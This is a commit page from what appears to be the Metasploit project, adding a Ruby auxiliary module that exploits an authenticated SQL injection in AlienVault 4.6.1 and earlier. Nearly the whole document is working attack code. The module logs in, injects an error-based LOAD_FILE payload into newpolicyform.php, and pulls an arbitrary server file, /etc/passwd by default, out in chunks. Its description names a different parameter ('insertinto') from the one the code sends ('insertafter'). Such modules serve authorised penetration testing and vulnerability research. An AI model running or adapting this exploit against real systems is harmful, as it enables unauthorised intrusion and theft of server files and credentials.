Land #3345, @mvdevnull's auxiliary module for OSVDB 106815, Alienvault sqli
commit
c00094ba6e
|
@ -0,0 +1,163 @@
|
|||
##
|
||||
## This module requires Metasploit: http//metasploit.com/download
|
||||
## Current source: https://github.com/rapid7/metasploit-framework
|
||||
###
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",
|
||||
'Description' => %q{
|
||||
AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against
|
||||
newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability
|
||||
to read an arbitrary file from the file system. Any authenticated user is able to exploit
|
||||
this, as administrator privileges are not required.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Chris Hebert <chrisdhebert[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '106815'],
|
||||
['EDB', '33317'],
|
||||
['URL', 'http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "May 9 2014"))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(443),
|
||||
OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),
|
||||
OptString.new('USERNAME', [ true, 'Single username' ]),
|
||||
OptString.new('PASSWORD', [ true, 'Single password' ]),
|
||||
OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]),
|
||||
OptInt.new('SQLI_TIMEOUT', [ true, 'Specify the maximum time to exploit the sqli (in seconds)', 60])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
print_status("#{peer} - Get a valid session cookie...")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("#{peer} - Server did not respond in an expected way")
|
||||
return
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
if cookie.blank?
|
||||
print_error("#{peer} - Could not retrieve a cookie")
|
||||
return
|
||||
end
|
||||
|
||||
post = {
|
||||
'embed' => '',
|
||||
'bookmark_string' => '',
|
||||
'user' => datastore['USERNAME'],
|
||||
'passu' => datastore['PASSWORD'],
|
||||
'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])
|
||||
}
|
||||
|
||||
print_status("#{peer} - Login...")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => post,
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
unless res && res.code == 302
|
||||
print_error("#{peer} - Server did not respond in an expected way")
|
||||
return
|
||||
end
|
||||
|
||||
unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')
|
||||
print_error("#{peer} - Authentication failed")
|
||||
return
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
if cookie.blank?
|
||||
print_error("#{peer} - Could not retrieve the authenticated cookie")
|
||||
return
|
||||
end
|
||||
|
||||
i = 0
|
||||
full = ''
|
||||
filename = datastore['FILEPATH'].unpack("H*")[0]
|
||||
left_marker = Rex::Text.rand_text_alpha(6)
|
||||
right_marker = Rex::Text.rand_text_alpha(6)
|
||||
sql_true = Rex::Text.rand_text_alpha(6)
|
||||
|
||||
print_status("#{peer} - Exploiting SQLi...")
|
||||
|
||||
begin
|
||||
::Timeout.timeout(datastore['SQLI_TIMEOUT']) do
|
||||
loop do
|
||||
file = sqli(left_marker, right_marker, sql_true, i, cookie, filename)
|
||||
return if file.nil?
|
||||
break if file.empty?
|
||||
|
||||
str = [file].pack("H*")
|
||||
full << str
|
||||
vprint_status(str)
|
||||
|
||||
i = i+1
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
if full.blank?
|
||||
print_error("#{peer} - Timeout while exploiting sqli, nothing recovered")
|
||||
else
|
||||
print_error("#{peer} - Timeout while exploiting sqli, #{full.length} bytes recovered")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])
|
||||
print_good("File stored at path: " + path)
|
||||
end
|
||||
|
||||
def sqli(left_marker, right_marker, sql_true, i, cookie, filename)
|
||||
pay = "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"
|
||||
pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"
|
||||
pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"
|
||||
pay << " GROUP BY x)a) AND ('0x#{sql_true.unpack("H*")[0]}'='0x#{sql_true.unpack("H*")[0]}"
|
||||
|
||||
get = {
|
||||
'insertafter' => pay,
|
||||
'ctx' => 0
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'ossim', 'policy', 'newpolicyform.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => get
|
||||
})
|
||||
|
||||
if res && res.body && res.body =~ /#{left_marker}(.*)#{right_marker}/
|
||||
return $1
|
||||
else
|
||||
print_error("Server did not respond in an expected way")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue